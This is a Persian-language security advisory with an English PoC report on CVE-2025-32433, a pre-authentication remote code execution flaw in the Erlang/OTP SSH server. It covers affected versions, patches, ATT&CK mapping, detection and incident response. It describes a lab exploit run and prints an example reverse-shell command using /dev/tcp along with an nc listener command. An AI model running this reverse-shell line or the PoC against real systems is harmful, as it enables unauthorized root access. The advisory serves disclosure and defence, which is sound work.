شناسه CVE-2025-32433 :CVE
CWE-306 :CWE
yes :Advisory
منتشر شده: آوریل 16, 2025
به روز شده: آوریل 16, 2025
امتیاز: 10.0
نوع حمله: crafted-message

اثر گذاری: Arbitrary code execution(ACE)
حوزه: پروتکل‌های رمزگذاری و ارتباطی
برند: erlang
محصول: otp
وضعیتPublished :CVE
Yes :POC
وضعیت آسیب پذیری: patch شده

چکیده

یک آسیب‌پذیری بحرانی در سرور SSH کتابخانه Erlang/OTP وجود دارد که به دلیل عدم احراز هویت برای عملکردهای حیاتی، مهاجم را قادر می‌سازد بدون داشتن اعتبارنامه معتبر و از راه دور کد دلخواه اجرا کند. مهاجم با ارسال پیام‌های دستکاری‌شده در مرحله پیش از احراز هویت پروتکل SSH می‌تواند یک کانال نشست ایجاد کرده و دستورات Erlang و در نتیجه دستورات سیستم را اجرا کند. این ضعف در صورت اجرای SSH daemon (فرآیند پس زمینه SSH) با دسترسی بالا مثلاً root، می‌تواند منجر به کنترل کامل سیستم شود.

توضیحات

آسیب‌پذیری CVE-2025-32433 در سرور SSH بسته ssh کتابخانه Erlang/OTP رخ می‌دهد و ناشی از عدم احراز هویت برای عملکرد حیاتی مطابق با CWE-306 است. سرور SSH به‌طور نادرست پیام‌های پروتکل SSH (پروتکل امن انتقال داده بر پایه رمزنگاری) را پیش از احراز هویت پردازش می‌کند و اجازه می‌دهد مهاجم پیام‌های SSH_MSG_CHANNEL_OPEN و SSH_MSG_CHANNEL_REQUEST را ارسال کند. این پیام‌ها کانال نشست (Session Channel) را ایجاد کرده و به مهاجم اجازه می‌دهد دستورات Erlang و در نتیجه دستورات سیستم را اجرا کند.

بهره‌برداری از این ضعف به‌سادگی قابل خودکارسازی است؛ مهاجم می‌تواند با اسکریپت‌ها یا ابزارهای خودکار، به‌صورت از راه دور، بدون تعامل کاربر، بدون نیاز به اعتبار و تنها با دسترسی شبکه به پورت SSH (معمولاً 22)، پیام‌های مخرب را ارسال کند. اگر سرویس SSH با سطح دسترسی بالا مانند root اجرا شود، بهره‌برداری منجر به کنترل کامل سیستم می‌شود.

پیامدهای آسیب‌پذیری شامل تأثیر کامل بر محرمانگی ، یکپارچگی و در دسترس‌پذیری است؛ به عبارتی مهاجم می‌تواند داده‌های حساس را سرقت کرده، سیستم را دستکاری نماید یا سرویس را مختل سازد. کد اثبات مفهومی (PoC) عمومی منتشر شده است که با استفاده از اسکریپت پایتون، کانال نشست را ایجاد کرده و دستوراتی مانند file:write_file یا os:cmd (برای اجرای شل معکوس) را اجرا می‌کند. همچنین این آسیب‌پذیری در فهرست KEV سازمان CISA ثبت شده و نشان‌دهنده بهره‌برداری فعال در محیط‌های واقعی است. این آسیب پذیری با اصلاح پردازش پیام‌های پروتکل SSH پیش از احراز هویت در نسخه‌های OTP-27.3.3، OTP-26.2.5.11 و OTP-25.3.2.20 پچ شده است.

CVSS

Score	Severity	Version	Vector String
10.0	CRITICAL	3.1	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

لیست محصولات آسیب پذیر

Versions

Product

affected at >= OTP-27.0-rc1, < OTP-27.3.3

affected at >= OTP-26.0-rc1, < OTP-26.2.5.11

affected at < OTP-25.3.2.20

otp

لیست محصولات بروز شده

Versions

Product

OTP-27.3.3

OTP-26.2.5.11

OTP-25.3.2.20

otp

استفاده محصول در ایران

در این جدول، تعداد صفحات ایندکس‌شده در گوگل با دامنه .ir که Erlang/OTP را ذکر کرده اند، ثبت شده است. این داده صرفاً برای برآورد تقریبی حضور محصولات در وب ایران استفاده شده و نمایانگر میزان نصب دقیق و استفاده واقعی نیست.

Approx. Usage in .ir Domain via Google (Total Pages)	Search Query (Dork)	Product
2,080	site:.ir “Erlang/OTP”	Erlang/OTP

نتیجه گیری

این آسیب‌پذیری بحرانی در سرور SSH کتابخانه Erlang/OTP، امکان اجرای کد از راه دور بدون احراز هویت را فراهم می‌کند. با توجه به انتشار پچ رسمی و وجود PoC عمومی، اجرای اقدامات زیر برای جلوگیری از بهره‌برداری و کاهش سطح ریسک ضروری است:

به‌روزرسانی فوری: تمام نمونه‌های Erlang/OTP را به نسخه‌های OTP-27.3.3، OTP-26.2.5.11 یا OTP-25.3.2.20 به‌روزرسانی کنید. این اقدام، مؤثرترین و قطعی‌ترین راهکار برای رفع آسیب‌پذیری است و باید در اولویت قرار گیرد. سایر اقدامات می‌توانند به کاهش ریسک این آسیب پذیری و مقابله با حملات مشابه کمک کنند.
غیرفعال‌سازی موقت: تا زمان اعمال پچ، سرور SSH را غیرفعال کنید یا دسترسی به پورت SSH را با قوانین فایروال مسدود سازید.
محدودسازی شبکه: سرورهای Erlang را در شبکه‌های ایزوله قرار دهید و دسترسی عمومی به پورت SSH را با فایروال اپلیکیشن وب (WAF) یا گروه امنیت شبکه (NSG) محدود کنید.
اجرای مبتنی بر اصل حداقل دسترسی: سرویس SSH را با حساب غیر root و حداقل مجوزها اجرا کنید تا در صورت بهره‌برداری، آسیب محدود شود.
نظارت و تشخیص: لاگ‌های SSH و سیستم را با ابزارهایی مانند OSSEC یا Splunk مانیتور کنید و الگوهای مشکوک پیام‌های پروتکل را شناسایی نمایید.
آموزش مدیران: تیم‌های توسعه و امنیت را درباره ریسک‌های حملاتی که در مرحله پیش از احراز هویت پروتکل‌های شبکه رخ می‌دهند، آموزش دهید.

اجرای این اقدامات، به‌ویژه به‌روزرسانی فوری و مسدودسازی دسترسی شبکه، ریسک بهره‌برداری از این آسیب‌پذیری را به‌طور چشمگیری کاهش داده و امنیت سیستم‌های مبتنی بر Erlang/OTP را به‌صورت قابل‌توجهی تقویت می‌کند.

امکان استفاده در تاکتیک های Mitre Attack

Initial Access (TA0001)
مهاجم از راه دور و بدون نیاز به هرگونه Credential با ارسال بسته‌های دستکاری‌شده در مرحله pre-authentication پروتکل SSH وارد مسیر پردازش آسیب‌پذیر Erlang/OTP می‌شود؛ ضعف در منطق KEX/Handshake باعث می‌شود daemon قبل از احراز هویت وارد وضعیت ناسازگار شود و عملاً درگاه ورود اولیه بدون هیچ مانعی باز می‌گردد. این حمله بر بستر شبکه و صرفاً با دسترسی به پورت 22 قابل اجراست.

Execution (TA0002)
پس از ایجاد state corruption مهاجم می‌تواند پیام‌های SSH_MSG_CHANNEL_OPEN و SSH_MSG_CHANNEL_REQUEST را اجرا کند و از مسیر داخلی Erlang برای اجرای os:cmd یا file: write_file استفاده نماید؛ در صورت اجرای daemon با سطح دسترسی بالا، اجرای کد دلخواه با همان سطح انجام می‌شود.

Credential Access (TA0006)
با توجه به اجرای کد در کانتکست سرویس، مهاجم می‌تواند فایل‌های داخلی مانند کلیدهای خصوصی، توکن‌ها یا فایل‌های پیکربندی را مستقیماً بخواند. این مرحله نتیجه اجرای موفق RCE است.

Discovery (TA0007)
مهاجم پس از گرفتن اجرای کد می‌تواند با دستورات سیستم یا APIهای Erlang ساختار فایل‌سیستم، سرویس‌های فعال، نسخه OTP و مسیرهای حساس را بررسی کند تا دامنه حمله را گسترش دهد.

Collection (TA0009)
مهاجم می‌تواند داده‌های محلی مانند لاگ‌ها، فایل‌های تنظیمات، رمزهای ذخیره‌شده یا کلیدهای ارتباطی را استخراج کند.

Exfiltration (TA0010)
مهاجم می‌تواند از دستوراتی مانند os:cmd برای برقراری کانال خروجی استفاده نماید.

Defense Evasion (TA0005)
رفتار حمله در مسیر پیش از احراز هویت رخ می‌دهد و معمولاً در لاگ‌های استاندارد SSH ثبت نمی‌شود؛ مهاجم همچنین می‌تواند پس از اجرای کد، فایل‌های لاگ را دستکاری یا پاکسازی کند و فرآیندهای ایجادشده را مخفی نماید.

Lateral Movement (TA0008)
در صورت دسترسی root یا دسترسی سطح سرویس، مهاجم ممکن است بتواند از دستگاه به سرورهای دیگر متصل شود، کلید خصوصی را سرقت کند یا از دستورات سیستم برای pivoting استفاده کند؛ محیط‌هایی که Erlang/OTP روی nodeهای توزیع‌شده دارند بسیار مستعد حرکت جانبی هستند.

Impact (TA0040)
اجرای کد از راه دور بدون احراز هویت، کنترل کامل سیستم، امکان تخریب فایل‌ها، ایجاد backdoor، غیرفعال‌سازی سرویس و حتی خاموش‌کردن کامل دستگاه تاثیرات این آسیب پذیری هستند. محرمانگی، یکپارچگی و دسترس‌پذیری هر سه به‌طور کامل نقض می‌شوند.

منابع

گزارش اثبات آسیب‌پذیری CVE-2025-32433

اطلاعات آسیب‌پذیری

محصول آسیب‌پذیر: Erlang/OTP SSH Server (کتابخانه SSH یکپارچه در Erlang/OTP)
عنوان Pre-authenticated Remote Code Execution via malformed SSH messages
شناسه: CVE-2025-32433
وضعیت مشاوره: Advisory منتشر شده Patch موجود
نمره CVSS: 10.0 (Critical)

محصول/نسخه‌های آسیب‌پذیر

نسخه‌های قبل از:

OTP-27.3.3
OTP-26.2.5.11
OTP-25.3.2.20

هر محصول، سرویس یا دستگاهی که Erlang/OTP SSH را به‌صورت embedded استفاده می‌کند (مانند برخی تجهیزات شبکه، پیام‌رسانی، توزیع بار و محصولات مخابراتی) نیز ممکن است آسیب‌پذیر باشد.

ریشه مشکل

آسیب‌پذیری از یک ضعف جدی در پردازش پیام‌های SSH پیش از احراز هویت ناشی می‌شود.
در این ضعف، SSH daemon در Erlang/OTP هنگام پردازش پیام‌های Handshake/KEX می‌تواند با دریافت یک پیام دستکاری‌شده، دچار خرابی وضعیت داخلی (state corruption) شود و مهاجم قادر به اجرای کد دلخواه در کانتکست سرویس SSH خواهد شد. این مسیر قبل از احراز هویت فعال است و مهاجم حتی به credential نیاز ندارد. بهره‌برداری از راه دور، اتوماتیک و در سطح اینترنت قابل انجام است.

پیش‌نیازهای بهره‌برداری (Prerequisites)

دسترسی شبکه‌ای به پورت SSH سرویسی که از Erlang/OTP SSH استفاده می‌کند.
هیچ احراز هویتی لازم نیست — مهاجم در مرحله pre-auth اکسپلویت را اجرا می کند.
امکان ارسال بسته‌های SSH crafted (پیام‌های KEXINIT / CHANNEL_REQUEST تغییرشکل‌یافته)

محیط آزمایش

یک نمونه سرویس Erlang/OTP SSH آسیب‌پذیر، در محیط ایزوله، بدون اتصال به شبکه واقعی.
فعال بودن packet capture برای بررسی تبادل SSH
سیستم مانیتورینگ فرآیند جهت تشخیص spawn شدن شِل یا child processهای غیرمعمول.
Snapshot قبل و بعد از تست برای امکان rollback

توضیحات فنی

ضعف زمانی فعال می‌شود که مهاجم یک سری پیام‌های SSH با ساختار غیرطبیعی اما معتبر از منظر پروتکل ارسال می‌کند. پردازش این پیام‌ها باعث وقوع موارد زیر می‌شود:

memory corruption / state confusion
فعال شدن مسیرهایی در daemon که اجازه اجرای عملیات خارج از کنترل توسعه‌دهنده را می‌دهد
ایجاد یک channel ساختگی که در ادامه دستورات مهاجم را اجرا می‌کند

در برخی محصولات embedded مشاهده شده که پس از exploit، سرویس یک شِل در سطح سیستم (Root یا معادل آن) باز می‌کند.

شاخص‌های فنی قابل مشاهده:

اشتباهات handshake
logهای مرتبط با failure در KEXINIT
child process های بدون نام یا مشکوک پس از اتصال SSH

شبیه‌سازیPoC (آزمایش ایمن)

فقط برای تحلیل رفتار و بدون اجرای کد واقعی در محیط production

اتصال به سرویس SSH با نسخه آسیب‌پذیر
ارسال KEXINIT دستکاری‌شده
ارسال پیام CHANNEL_REQUEST Crafted
مشاهده رفتار daemon و بررسی تلاش برای ایجاد شِل روی سیستم هدف
بررسی لاگ‌ها و رفتار post-exploitation بدون اجرای payload واقعی

رفتار امن مورد انتظار (Expected Secure Behavior)

سرویس SSH باید پیام‌های malformed را reject کند.
نباید قبل از احراز هویت هیچ مسیری بتواند منجر به اجرای کد شود.
Daemon باید handshake را terminate کرده و session را ببندد.
child process ناشناخته یا شِل نباید ایجاد شود.

راهکارها و کاهش ریسک (Mitigation / Patch Guidance)

فوری (Immediate)

Patch فوری به نسخه‌های امن:
- OTP-27.3.3
- OTP-26.2.5.11
- OTP-25.3.2.20
اگر پچ فوری ممکن نیست:
- محدود کردن دسترسی شبکه‌ای به SSH daemon
- قرار دادن سرویس پشت فایروال داخلی
- فعال‌سازی rate-limit روی اتصالات SSH

میان‌مدت (Medium)

تقویت لاگینگ و مانیتورینگ اتصال‌های SSH
استفاده از ابزار NIDS برای تحلیل پیام‌های handshake
بررسی تمام محصولاتی که از Erlang/OTP استفاده می‌کنند

بلندمدت (Long-term)

مهاجرت از نسخه‌های قدیمی Erlang/OTP
پیاده‌سازی secure configuration baseline برای سرویس‌های embedded
سخت‌سازی (hardening) لایه شبکه و کنترل سطح دسترسی

تشخیص و مانیتورینگ (Detection & Monitoring)

برای شناسایی و مانیتورینگ میتوان بررسی های زیر را انجام داد

بررسی بسته‌های SSH برای پیام‌های malformed در مرحله pre-auth
مانیتورینگ ایجاد child process توسط daemon
هشدار روی spawn شدن شِل یا reverse-shell
گزارش‌گیری از connection attempts با الگوی تکراری KEX failures

Indicators of Compromise (IoCs)

موارد زیر می توانند به عنوان معیار نفوذ در نظر گرفته شوند

پیام‌های SSH با payload غیرطبیعی
child processهای ناشناس پس از اتصال
ظهور فایل‌های جدید یا تغییر permissionها بلافاصله بعد از handshake
ایجاد ارتباط outbound جدید از سرور پس از اتصال SSH ورودی

واکنش به حادثه (Incident Response)

ایزوله‌سازی فوری سرویس مشکوک
ثبت لاگ‌های کامل SSH و packet capture
بررسی memory dump daemon برای شناسایی payload
در صورت تأیید بهره‌برداری:
- Rebuild سرویس یا سیستم
- rotate کل credentialها
- بررسی حرکت جانبی در شبکه
مستندسازی نتایج و ارجاع به تیم امنیتی/توسعه محصول

جریان حمله (Attack Flow)

در شکل شماره 1 جریان حمله مربوط به سوءاستفاده از این آسیب پذیری آورده شده است.

شکل 1: جریان حمله

این آسیب‌پذیری با سوءاستفاده از یک پیام KEXINIT دستکاری‌شده در مرحله پیش‌ از احراز هویت SSH آغاز می‌شود؛ مهاجم ابتدا با دسترسی ساده به پورت سرویس، یک handshake ناقص اما ساختاری معتبر ارسال می‌کند و با ایجاد state confusion در ماژول تبادل کلید Erlang/OTP، پردازش SSH daemon را وارد وضعیت ناپایدار می‌کند. سپس پیام دوم (CHANNEL_REQUEST) به‌صورت crafted ارسال می‌شود تا daemon که در حالت خارج‌از‌توالی قرار گرفته، آن را در مسیر نادرست پردازش کند. در این مرحله کنترل جریان برنامه منحرف شده و ورودی مهاجم به بخش‌هایی از کد هدایت می‌شود که امکان اجرای عملیات سیستم بدون احراز هویت را فراهم می‌کند. نتیجه این زنجیره، اجرای کد دلخواه (Pre‑Auth RCE) با سطح دسترسی سرویس و در بسیاری از پیاده‌سازی‌ها معادل Root است. پس از موفقیت، مهاجم می‌تواند با ایجاد child‑process، شل معکوس، تغییر فایل‌های سیستمی یا کاشت backdoor، دسترسی پایدار و حرکت جانبی را روی سامانه برقرار کند.

اثبات مفهوم (PoC) — هشدار امنیتی

تیم فنی Vulnerbyte اقدام به اجرای مجدد این آسیب پذیری در محیط آزمایشگاهی ایزوله کرده است. شکل شماره 2 نتیجه اجرا را نشان می دهد. این تصویر حاصل اجرای موفق اکسپلویت عمومی است. این اکسپلویت با ارسال یک KEXINIT دست‌کاری‌شده به SSH سرورِ Erlang/OTP، منطق Handshake را دچار state corruption می‌کند و قبل از هرگونه احراز هویت، سرور را وارد وضعیت ناپایدار می‌برد. سپس با یک CHANNEL_REQUEST جعلی مسیر داخلی‌ای را فعال می‌کند که معمولاً فقط بعد از لاگین در دسترس است و همین شکاف امکان اجرای کد دلخواه مهاجم را فراهم می‌کند. اگر سیستم پچ نشده باشد، این زنجیره باعث ایجاد یک channel ساختگی یا child‑process در سطح سرویس /Root شده و عملاً کنترل کامل دستگاه—خصوصاً در سیستم‌های embedded—در اختیار مهاجم قرار می‌گیرد.

شکل 2، یک سناریوی بهره‌برداری موفق را ثبت کرده است. مهاجم در سیستم کالی لینوکس خود (بالا سمت چپ) ابتدا با دستور nc -lnvp 4488 یک شنونده (Listener) Netcat آماده کرده تا منتظر دریافت اتصال باشد. سپس، با اجرای اکسپلویت پایتون علیه آدرس هدف (192.168.69.129:2222)، کد مخرب به سیستم آسیب‌پذیر تزریق شده است. خط Connection received… تأیید می‌کند که سیستم هدف فریب خورده و یک شل معکوس (Reverse Shell) را به شنونده مهاجم فرستاده است. از همه مهم‌تر، اجرای دستور whoami با خروجی root و دستور echo با خروجی سفارشی، ثابت می‌کند که مهاجم نه تنها موفق به اجرای کد شده، بلکه با بالاترین سطح دسترسی (امتیاز ریشه) کنترل سیستم هدف را به دست آورده است.

شکل 2: POC مربوط به آسیب پذیری

منابع (References)

(NVD)

CVE-2025-32433 — Erlang/OTP SSH — Pre-authentication Remote Code Execution (RCE)

CVE ID: CVE-2025-32433 Severity: Critical (CVSS 10.0) Affected
Systems:

Erlang/OTP installations running the SSH daemon, including
versions prior to OTP-27.3.3, OTP-26.2.5.11, and
OTP-25.3.2.20.
Networking appliances, telecom platforms, and embedded products
bundling Erlang/OTP’s SSH implementation may also be affected.
(NVD)

Patched In: The Erlang/OTP team released security fixes in
OTP-27.3.3, OTP-26.2.5.11, and OTP-25.3.2.20. Vendors
embedding Erlang/OTP have issued their own advisory updates.

References:

Erlang/OTP Security Advisory.
NVD — CVE-2025-32433.
(NVD)
Vendor advisories for telecom/messaging appliances.
Public PoCs and exploit repositories.

Description

A critical remote code execution vulnerability exists in Erlang/OTP’s
SSH daemon due to improper handling and parsing of specially crafted SSH
protocol messages during the pre-authentication handshake. An
unauthenticated attacker can send malformed SSH packets that corrupt
internal parsing state, resulting in arbitrary code execution under
the SSH daemon’s process context. This vulnerability is tracked as
CVE-2025-32433 and is rated critical (CVSS 10.0).
(NVD)

Multiple vendors observed scanning and exploitation attempts targeting
exposed Erlang/OTP SSH endpoints shortly after disclosure.

Prerequisites

Network access to the target system’s SSH daemon (default TCP/22 or
custom port).
No authentication is required — the exploit occurs
pre-authentication.
(NVD)

Proof of Concept (PoC)

(For defensive testing in isolated labs only.) Public PoC tools
demonstrate pre-auth exploitation via malformed SSH messages that
trigger code execution. Do not run PoCs against production systems.

Example PoC usage:

python3 cve-2025-32433.py -t <targetIP> -p 2222

Example Expected Output:

[*] Connecting to SSH server...
[✓] Banner: SSH-2.0-Erlang/5.1.4.7
[*] Sending KEXINIT...
[*] Opening channel...
[?] Shell command: sh -i >& /dev/tcp/192.168.69.128/4488 0>&1
[*] Sending CHANNEL_REQUEST...
[✓] Payload sent.

Expected Result

The SSH daemon must not process malformed pre-authentication messages.
After patching, the SSH server should sanitize and reject malformed
packets without executing attacker-controlled code, preventing system
compromise.
(NVD)

Mitigation / Patch Guidance

Patch immediately — upgrade to OTP-27.3.3, OTP-26.2.5.11, or
OTP-25.3.2.20, or apply vendor-provided patches.
If patching cannot be applied immediately:
- Restrict inbound access to SSH to trusted management networks
  only.
- Place the SSH server behind a jump host or VPN.
- Disable the Erlang/OTP SSH server if alternative secure access
  exists.
Harden exposure: enforce IP allowlists, firewall restrictions,
and intrusion prevention for malformed SSH traffic.

Detection & Monitoring

Monitor for malformed SSH handshake packets and unexpected channel
behavior.\
Alert on suspicious child processes spawned by the Erlang/OTP SSH
daemon (reverse shells, rogue binaries).\
Use IDS/IPS and EDR telemetry to detect exploit signatures.

Indicators of Compromise (IOCs): suspicious SSH daemon activity,
rogue processes, unexpected outbound connections, or payload drops.

Incident Response

If exploitation is suspected: immediately isolate the affected
host(s).\
Collect forensic artifacts: SSH logs, system logs, memory dumps,
packet captures, daemon process data.\
If code execution is confirmed: rebuild the host from a trusted
baseline, rotate exposed credentials, and investigate for lateral
movement.\
Engage IR specialists when embedded products or large-scale systems
are involved.

Disclaimer

This report is intended for defensive cybersecurity and incident
response purposes only. Unauthorized exploitation or testing of systems
is illegal and unethical. Testing must be performed only on systems you
own or have explicit permission to assess.

CVE-2025-32433

Erlang/OTP SSH Vulnerable To Pre-Authentication RCE

CVE-2025-32433 — Erlang/OTP SSH — Pre-authentication Remote Code Execution (RCE)

Description

Prerequisites

Proof of Concept (PoC)

Expected Result

Mitigation / Patch Guidance

Detection & Monitoring

Incident Response

Disclaimer

CVE-2025-47989

پچ بی‌سروصدای Fortinet برای یک آسیب‌پذیری روز-صفر در FortiWeb که به‌صورت گسترده مورد سوءاستفاده قرار گرفته!

همچنین ممکن است دوست داشته باشید

پیام بگذارید لغو پاسخ